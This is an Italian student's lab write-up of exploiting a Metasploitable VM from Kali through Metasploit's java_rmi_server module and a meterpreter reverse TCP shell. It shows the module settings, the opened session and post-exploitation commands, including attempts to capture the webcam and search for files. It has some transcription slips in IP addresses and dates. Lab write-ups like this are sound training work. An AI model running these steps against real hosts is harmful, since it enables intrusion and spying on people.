

M4 W4

Mattia Carlesso 13\06\2025

## Progetto finale modulo 4

Setto Kali con IP 192.168.11.111 e Metasploitable con IP 192.68.11.112

```
kali_interna㉿kali:~
```

File Azioni Modifica Visualizza Auto

[(kali\_interna㉿kali)~]\$ ifconfig

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.11.11 brd 192.168.11.255 netmask 255.255.255.0 broadcast 192.168.11.255
inet6 fe80::a00:27ff:fe0d:f57d brd fe80::ff00:27ff:fe0d:f57d prefixlen 64 scopeid 0x20<link>
ether 00:00:27:8d:f5:7d txqueuelen 1000 (Ethernet)
RX packets 6 bytes 360 (360.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22 bytes 4032 (3.9 Kib)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 brd 127.0.0.1 netmask 255.0.0.0
inet6 ::1 brd ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

[(kali_interna㉿kali)~]$
```

To access official Ubuntu documentation, please visit:  
<http://help.ubuntu.com/>

No mail.

```
msfadmin@metasploitable:~$ ifconfig
```

```
eth0      Link encap:Ethernet HWaddr 08:00:27:b6:92
          inet brd 192.168.11.11255.255.255.0 broadcast 192.168.11.255
          inet6 fe80::a00:27ff:fe0b:b692/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:71 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B) TX bytes:5290 (5.1 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo      Link encap:Local Loopback
          inet brd 127.0.0.1 Mask:255.0.0.0
          inet6 fe80::1:128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:122 errors:0 dropped:0 overruns:0 frame:0
          TX packets:122 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:27367 (26.7 KB) TX bytes:27367 (26.7 KB)

msfadmin@metasploitable:~$
```

Lancio msfconsole e scansione con nmap ---> nmap -sV 192.168.11.112

Lancio dei comandi: search java\_rmi Utilizzo dell' exploit/multi/misc/java\_rmi\_server

```

Emulatore di terminale
File Azioni Usa la linea di comando
ibuteValueExceptionExtComp
 221 payload/cmd/windows/jjs_reverse_tcp
      normal   No    Windows Shell, Reverse TCP (via jjs)
 222 exploit/multi/misc/zend_java_bridge
 2011-03-28 great  No    Zend Server Java Bridge Arbitrary Java Code
Execution
 223 auxiliary/admin/zend/java_bridge
 2011-03-28 normal  No    Zend Server Java Bridge Design Flaw Remote
Code Execution
 224 exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
 2022-06-24 excellent Yes  Zoho Password Manager Pro XML-RPC Java Deser
ialization

Interact with a module by name or index. For example info 224, use 224 or use e
xploit/windows/http/zoho_password_manager_pro_xml_rpc_rce

msf6 > search java_rmi
Matching Modules
=====
#  Name
-  auxiliary/gather/java_rmi_registry
  1  exploit/multi/misc/java_rmi_server
  2  auxiliary/scanner/misc/java_rmi_server
  3  exploit/multi/browser/java_rmi_connection_impl

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >

```

## opzioni

```

Module options (exploit/multi/misc/java_rmi_server):
=====
Name  Current Setting  Required  Description
HTTPDELAY  10          yes       Time that the HTTP Server will wait for the payload request
RHOSTS          yes
RPORT  1099          yes       The target port(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SRVHOST  0.0.0.0        yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all a
ddresses.
SRVPORT  8880          yes       The local port to listen on.
SSL           false        no        Negotiate SSL for incoming connections
SSLCert        no         Path to a custom SSL certificate (default is randomly generated)
URIPATH        no         The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
=====
Name  Current Setting  Required  Description
LHOST  192.168.11.111  yes       The listen address (an interface may be specified)
LPORT  4444          yes       The listen port

Exploit target:
=====
Id  Name
-- 
0  Generic (Java Payload)

View the full module info with the info, or info -d command.

```

Vado poi a settare i rhosts e lhost (IP macchina target e IP macchina attaccante rispettivamente)

```

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
Name   Current Setting  Required  Description
HTTPDELAY  10           yes        Time that the HTTP Server will wait for the payload request
RHOSTS   192.168.11.112  yes        The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT    1099          yes        The target port (TCP)
SRVHOST  0.0.0.0         yes        The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT  8080          yes        The local port to listen on.
SSL      false          no         Negotiate SSL for incoming connections
SSLCert  -              no         Path to a custom SSL certificate (default is randomly generated)
URI PATH -              no         The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name   Current Setting  Required  Description
LHOST  192.168.11.111  yes        The listen address (an interface may be specified)
LPORT  4444          yes        The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

```

Lancio exploit Una volta entrato nella macchina target, shell found, faccio una verifica lanciando i comandi:

### 1) if config

```

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/EnooyCKFQAG
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.111
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:55016) at 2023-06-09 21:27:27 +0200

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe0b:b692
IPv6 Netmask : ::

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > ls

```

Lancio comando ls

```
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > ls
Listing: /

```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2012-05-14 05:35:33 +0200	bin
040666/rw-rw-rw-	1024	dir	2012-05-14 05:36:28 +0200	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 23:55:51 +0100	cdrom
040666/rw-rw-rw-	13380	dir	2023-06-09 22:56:32 +0200	dev
040666/rw-rw-rw-	4096	dir	2023-06-09 22:56:43 +0200	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 08:16:02 +0200	home
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:40 +0100	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-14 05:35:56 +0200	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-14 05:35:22 +0200	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 23:55:15 +0100	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 23:55:52 +0100	media
040666/rw-rw-rw-	4096	dir	2010-04-28 22:16:56 +0200	mnt
100666/rw-rw-rw-	32498	fil	2023-06-09 22:57:08 +0200	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:39 +0100	opt
040666/rw-rw-rw-	0	dir	2023-06-09 22:56:16 +0200	proc
040666/rw-rw-rw-	4096	dir	2023-06-09 22:57:08 +0200	root
040666/rw-rw-rw-	4096	dir	2012-05-14 03:54:53 +0200	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:38 +0100	srv
040666/rw-rw-rw-	0	dir	2023-06-09 22:56:17 +0200	sys
040666/rw-rw-rw-	4096	dir	2023-06-09 23:27:26 +0200	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 06:06:37 +0200	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 15:08:23 +0100	var
100666/rw-rw-rw-	1987288	fil	2008-04-10 18:55:41 +0200	vmlinuz

```
meterpreter > 
```

Lancio comando:

- 2) info sulla tabella di routing della macchina vittima ----> sysinfo
- 3) prova di rilevare le webcam disponibili e se disponibili eventuale snap (screen – istantanea dalla webcam attiva)

```
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language: en_US
Meterpreter    : java/linux
meterpreter > webcam_list
[-] The "webcam_list" command is not supported by this Meterpreter type (java/linux)
meterpreter > webcam_snap
[-] The "webcam_snap" command is not supported by this Meterpreter type (java/linux)
meterpreter > search -f *.pdf

```